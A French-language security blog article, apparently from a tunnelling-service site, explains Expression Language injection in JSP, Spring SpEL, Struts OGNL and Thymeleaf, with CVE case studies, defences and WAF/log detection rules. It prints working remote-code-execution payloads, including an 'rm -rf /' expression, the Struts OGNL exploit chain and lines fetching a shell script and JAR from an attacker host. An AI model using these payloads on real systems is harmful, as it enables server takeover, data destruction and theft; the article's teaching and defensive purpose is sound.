Injection de langage d'expression : Quand ${} devient votre pire cauchemar 💀

Introduction : L’assassin silencieux des applications web
Imaginez un champ de saisie apparemment innocent qui demande votre nom. Vous tapez John, soumettez le formulaire, et voyez “Bienvenue, John !” affiché à l’écran. C’est simple, non ? Mais que se passe-t-il si quelqu’un entre ${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("rm -rf /")} à la place ? Entre de mauvaises mains, ce champ d’entrée innocent devient une arme capable de compromettre complètement le système.
L’injection de langage d’expression (EL Injection) est l’une des vulnérabilités les plus dévastatrices mais sous-estimées dans les applications web modernes. Ce vecteur d’attaque permet aux adversaires d’exécuter du code arbitraire sur les serveurs en exploitant la manière dont les moteurs de template évaluent les expressions dynamiques. Contrairement aux attaques d’injection traditionnelles qui nécessitent une construction de charge utile complexe, l’EL injection nécessite souvent seulement quelques caractères entourés de ${} ou #{} pour réaliser une exécution de code à distance (RCE).
Qu’est-ce que l’injection de langage d’expression ?
L’injection de langage d’expression se produit lorsque l’entrée contrôlée par l’utilisateur est évaluée comme une expression par les moteurs de template côté serveur sans validation ou nettoyage approprié. Lorsqu’une application utilisant un langage d’expression est vulnérable à l’EL injection, un attaquant envoie du code conçu pour exploiter cette faiblesse, soit dans la chaîne de requête, soit dans un objet de formulaire, et ce code est compilé à l’exécution.
Comprendre les langages d’expression
Les langages d’expression ont été conçus pour simplifier le développement d’applications en fournissant un moyen facile d’accéder et de manipuler des données dans les applications web. Ils permettent aux développeurs de :
- Accéder aux composants JavaBeans et à leurs propriétés
- Invoker des méthodes publiques et des fonctions statiques
- Effectuer des opérations arithmétiques et logiques
- Récupérer des données dans diverses portées (requête, session, application)
Les frameworks courants utilisant EL incluent :
- JavaServer Pages (JSP) - Utilise
${}et#{} - Spring Framework - Spring Expression Language (SpEL)
- Thymeleaf - Moteur de templating naturel
- Apache Struts - Object-Graph Navigation Language (OGNL)
- Java Unified Expression Language - Norme pour Java EE
Anatomie d’une expression EL
Les expressions EL standard suivent des modèles prévisibles :
${variable} # Accéder à une variable
${object.property} # Accéder aux propriétés d'un objet
${object.method()} # Invoker des méthodes
${"string".length()} # Opérations sur les chaînes
${1 + 1} # Opérations arithmétiques
Le danger apparaît lorsque ces expressions traitent des entrées utilisateur non vérifiées.
La base technique : comment fonctionne l’EL Injection
La chaîne de vulnérabilité
L’EL injection exploite une faille fondamentale dans la gestion du contenu dynamique par les applications :
- Réception de l’entrée utilisateur : L’application reçoit des données via formulaires, paramètres URL, en-têtes ou cookies
- Traitement du template : L’entrée est incorporée dans une expression EL
- Évaluation de l’expression : L’interpréteur EL évalue l’expression complète
- Exécution du code : Le code malveillant dans l’expression s’exécute sur le serveur
Considérez ce code JSP vulnérable :
3cjsp:useBean id="data" class="com.example.DataBean" scope="request"/3e
3cjsp:setProperty name="data" property="userInput" value="${param.input}"/3e
3cp3eBienvenue, ${data.userInput} !3c/p3e
Si un utilisateur soumet input=${7*7}, l’application évalue l’expression et retourne 49 au lieu de la chaîne littérale ${7*7}. Cette confirmation d’évaluation d’expression indique une vulnérabilité.
Techniques de détection
Pour confirmer qu’il s’agit d’une EL injection, des charges utiles comme ${"dfd".replace("d","x")} peuvent être utilisées, avec une sortie attendue de ‘xfx’ où la chaîne fournie ‘dfd’ est convertie en ‘xfx’ en remplaçant ’d’ par ‘x’.
Charges utiles de détection courantes :
${7*7} # Attendu : 49
${{7*7}} # Attendu : [49]
${"test".length()} # Attendu : 4
${"a".concat("b")} # Attendu : ab
${T(java.lang.Runtime)} # Spring : référence de classe
Les testeurs en boîte noire doivent injecter ces charges dans divers points d’injection :
- Paramètres URL
- Champs de formulaire
- En-têtes HTTP
- Valeurs de cookies
- Métadonnées de téléchargement de fichiers
- Champs de données JSON/XML
Vecteurs d’attaque : de la divulgation d’informations à la RCE
Phase 1 : Collecte d’informations
Les attaquants commencent généralement par extraire des informations sensibles :
${applicationScope} # Variables d'application
${sessionScope} # Données de session
${pageContext.request.getHeader("Cookie")} # En-têtes
${pageContext.servletContext.serverInfo} # Informations du serveur
Phase 2 : Escalade vers l’exécution de code à distance
Obtenir une exploitation complète de l’EL Injection et atteindre une RCE pleinement fonctionnelle nécessite d’invoquer la classe runtime.exec() pour exécuter des commandes système.
Méthode 1 : Invocation directe de Runtime
${''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime')
.invoke(null)
.exec('whoami')}
Méthode 2 : Exploitation de ProcessBuilder
${request.setAttribute("c","".getClass()
.forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/c")}
${request.getAttribute("c").add("calc.exe")}
${"".getClass().forName("java.lang.ProcessBuilder")
.getConstructor(java.util.List.class)
.newInstance(request.getAttribute("c")).start()}
Méthode 3 : ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output",
"".getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("var x=new java.lang.ProcessBuilder;
x.command(\"wget\",\"http://attacker.com/shell.sh\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream())"))}
Méthode 4 : URLClassLoader pour code distant
${request.getClass().getClassLoader().loadClass("java.net.URLClassLoader")
.getConstructor(java.net.URL[].class)
.newInstance(new java.net.URL[]
{new java.net.URL("http://attacker.com/malicious.jar")})}
Vulnérabilités spécifiques aux frameworks
Langage d’expression JSP
Les pages JavaServer sont particulièrement vulnérables lorsqu’elles utilisent la balise 3cjsp:setProperty3e ou directement le langage d’expression dans les templates :
3c!-- Modèle vulnérable --3e
3c:c:out value="${param.userInput}" /3e
3c!-- Exemple d'attaque --3e
?userInput=${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("calc")}
Spring Framework et SpEL
Dans les versions de Spring 3.0.5 et antérieures, les balises EL pouvaient être évaluées deux fois, exposant l’application à l’EL injection (CVE-2011-2730).
Spring Expression Language offre des fonctionnalités puissantes qui deviennent dangereuses avec des entrées non vérifiées :
// Contrôleur Spring vulnérable
@RequestMapping("/welcome")
public String welcome(@RequestParam String name, Model model) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(name); // VULNÉRABLE
model.addAttribute("greeting", exp.getValue());
return "welcome";
}
// Attaque : ?name=T(java.lang.Runtime).getRuntime().exec('whoami')
Struts et OGNL
La faille d’Equifax, qui a affecté les données de 159 millions de personnes, a été causée par une injection OGNL (Object-Graph Navigation Language), avec Accordé jusqu’à 425 millions de dollars pour aider les consommateurs à se remettre.
L’injection OGNL dans Struts permet une exploitation similaire :
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Moteur de template Thymeleaf
Thymeleaf utilise des expressions dans les attributs et peut être exploité lorsque les templates traitent des entrées utilisateur :
3c!-- Modèle vulnérable --3e
3cdiv th:text="${userInput}" 3e3c/div3e
3c!-- Attaque --3e
${T(java.lang.Runtime).getRuntime().exec('calc')}
Études de cas réelles
CVE-2024-51466 : IBM Cognos Analytics
Un chercheur a découvert un point de terminaison dans l’application IBM Cognos qui accepte l’entrée utilisateur et la passe dans une expression EL provoquant une RCE, en chaîne avec une autre vulnérabilité pour contourner l’authentification, aboutissant à une RCE non authentifiée.
La vulnérabilité a été exploitée avec la charge utile :
${''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime').invoke(null).exec('command')}
La réponse a retourné java.lang.ProcessImpl@b639b23d, confirmant la création du processus et l’exécution réussie du code.
CVE-2024-12798 : Vulnérabilité de Logback Core
Une vulnérabilité ACE dans QOS.CH logback-core jusqu’à la version 1.5.12 permet aux attaquants d’exécuter du code arbitraire en utilisant l’extension JaninoEventEvaluator en compromettant un fichier de configuration logback existant ou en injectant une variable d’environnement malveillante avant l’exécution du programme.
La faille d’Equifax (2017)
L’attaque EL la plus célèbre a exploité la vulnérabilité OGNL CVE-2017-5638 d’Apache Struts. Les attaquants ont accédé à :
- Informations personnelles de 147 millions d’Américains
- Dossiers de 15,2 millions de citoyens britanniques
- Données de 19 000 Canadiens
Le vecteur d’attaque était étonnamment simple : une en-tête Content-Type malveillante contenant des expressions OGNL qui exécutaient des commandes sur le serveur.
Stratégies de défense : construire des applications résilientes
Validation et nettoyage des entrées
Évitez d’insérer des données utilisateur dans un interpréteur d’expressions si possible. Sinon, validez et/ou encodez les données pour garantir qu’elles ne soient pas évaluées comme langage d’expression.
Mettre en œuvre une validation stricte :
public boolean isValidInput(String input) {
// Rejeter les délimiteurs EL
Pattern pattern = Pattern.compile(".*[\\$\\#\\{\\}].*");
Matcher matcher = pattern.matcher(input);
if (matcher.matches()) {
throw new SecurityException("Détection potentielle d'EL injection");
}
// Approche liste blanche - autoriser uniquement alphanumériques
return input.matches("[a-zA-Z0-9]+");
}
Désactiver l’évaluation d’expressions
Pour Spring Framework :
Dans le cas de Spring, désactivez la fonctionnalité de double résolution dans les versions 3.0.6 et supérieures en plaçant la configuration dans le fichier web.xml de l’application :
<context-param>
<description>Support du langage d'expression Spring</description>
<param-name>springJspExpressionSupport</param-name>
<param-value>false</param-value>
</context-param>
Politiques de sécurité de contenu
Implémentez un encodage robuste de sortie :
public String escapeEL(String input) {
return input
.replace("$", "\\$")
.replace("{", "\\{")
.replace("}", "\\}")
.replace("#", "\\#");
}
Protections spécifiques aux frameworks
JSP :
- Utilisez les balises JSTL avec escapeXml="true"
- Évitez l’évaluation EL directe dans les balises personnalisées
- Implémentez des en-têtes de politique de sécurité de contenu
Spring :
- Maintenez Spring à jour (correctifs critiques en 5.2.20+ et 5.3.18+)
- Utilisez @PreAuthorize pour la sécurité au niveau des méthodes
- Évitez d’analyser l’entrée utilisateur en expressions SpEL
Thymeleaf :
- Utilisez des expressions prétraitées __${...}__ avec précaution
- Activez le mode strict dans la configuration
- Validez toutes les entrées utilisateur avant le traitement du template
Protection en temps d’exécution (RASP)
Les solutions RASP modernes peuvent détecter et bloquer les tentatives d’EL injection en :
- Surveillant les modèles d’évaluation d’expression
- Analysant le comportement en temps réel pour détecter des anomalies
- Bloquant les invocations de méthodes dangereuses (Runtime.exec, ProcessBuilder)
- Implémentant des patchs virtuels pour les vulnérabilités zero-day
Tests de sécurité
Tests en boîte blanche : - Revue de code axée sur l’utilisation d’EL - Outils de test de sécurité statique (SAST) - Analyse des vulnérabilités des dépendances
Tests en boîte noire : - Fuzzing avec des charges utiles EL - Tests de sécurité dynamiques (DAST) - Tests d’intrusion avec des charges utiles personnalisées
Détection et surveillance
Analyse des logs
Surveillez les modèles suspects :
${.*}
#{.*}
T(java.lang.Runtime)
getClass().forName
ProcessBuilder
ScriptEngineManager
URLClassLoader
Pare-feux d’applications web (WAF)
Configurez les règles WAF pour détecter :
# Exemple ModSecurity
SecRule ARGS "@rx \$\{.*\}" \
"id:100001,\
phase:2,\
deny,\
log,\
msg:'Potentiel EL Injection'
Détection en temps réel
Implémentez des hooks en temps d’exécution pour surveiller :
- Appels API de réflexion depuis des contextes utilisateur
- Tentatives de création de processus
- Chargements de classes depuis des sources non fiables
- Connexions réseau depuis l’évaluation de template
L’avenir de l’EL Injection
Menaces émergentes
À mesure que les frameworks évoluent, de nouveaux vecteurs d’attaque apparaissent :
- Charges utiles polyglottes : combinaison de plusieurs types d’injection
- Attaques encodées : payloads en Base64, Unicode, hexadécimal
- Exploitation aveugle basée sur le temps : détection via des attaques par timing
- Exploitation en chaîne : combinaison d’EL injection avec d’autres vulnérabilités
Bonnes pratiques de sécurité
- Principe du moindre privilège : exécuter les applications avec des permissions minimales
- Défense en profondeur : mettre en œuvre plusieurs couches de sécurité
- Mises à jour régulières : maintenir frameworks et dépendances à jour
- Formation à la sécurité : sensibiliser les développeurs aux risques d’injection
- Standards de codage sécurisé : établir et appliquer des directives de codage
Statistiques et impact
L’application ou API moyenne a reçu 4 110 probes en octobre 2024, avec des attaques EL exploitables en moyenne environ 2,5 probes et 1,4 attaques exploitables par mois.
Bien que ces chiffres puissent sembler faibles, la gravité est extrême. Chaque injection EL réussie peut entraîner :
- Compromission complète du serveur
- Fuite de données affectant des millions
- Pertes financières de centaines de millions
- Sanctions réglementaires et conséquences juridiques
- Dégâts irréparables à la réputation
Conclusion : La vigilance est obligatoire
L’injection de langage d’expression représente l’une des vulnérabilités les plus critiques dans les applications web modernes. L’apparence innocente des délimiteurs ${} masque leur potentiel de dégâts catastrophiques. De la faille d’Equifax aux CVE récents comme IBM Cognos, l’EL injection continue de hanter les organisations dans le monde entier.
La bonne nouvelle ? L’EL injection est entièrement évitable grâce à :
- Validation rigoureuse des entrées
- Encodage correct des sorties
- configurations de sécurité des frameworks
- Tests de sécurité réguliers
- Formation des développeurs
Souvenez-vous : chaque champ d’entrée est un vecteur d’attaque potentiel. Chaque expression de template traitant des données utilisateur est un risque. Chaque application utilisant des langages d’expression nécessite une considération de sécurité attentive.
Le scénario cauchemar n’est pas que l’EL injection existe — c’est que les développeurs continuent de la négliger. Ne laissez pas ${} devenir votre pire cauchemar. Traitez chaque entrée utilisateur comme hostile, validez sans relâche, et intégrez la sécurité à chaque couche de votre application.
Points clés à retenir
- Ne faites jamais confiance à l’entrée utilisateur - Toutes les données externes sont potentiellement malveillantes
- Évitez d’évaluer l’entrée utilisateur comme des expressions - Utilisez des templates statiques autant que possible
- Implémentez une défense en profondeur - Multipliez les contrôles de sécurité
- Restez à jour - Appliquez rapidement les correctifs de sécurité
- Testez en continu - Les évaluations régulières de sécurité sont essentielles
- Surveillez activement - Détectez les attaques avant qu’elles ne causent des dégâts
- Formez les équipes - La sécurité est la responsabilité de tous
L’injection de langage d’expression n’est pas qu’une vulnérabilité technique — c’est une crise de sécurité critique en attente. La question n’est pas si votre application sera testée par des attaquants, mais quand. Assurez-vous d’être prêt.
À propos de l’auteur : Cet article couvre les vulnérabilités d’injection de langage d’expression basées sur la recherche en sécurité actuelle et les divulgations CVE récentes jusqu’en 2025. Pour les dernières mises à jour de sécurité, consultez toujours la documentation officielle des frameworks et les avis de sécurité.
Références : OWASP, bases de données CVE, articles de recherche en sécurité, rapports de divulgation de vulnérabilités de 2024-2025.
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.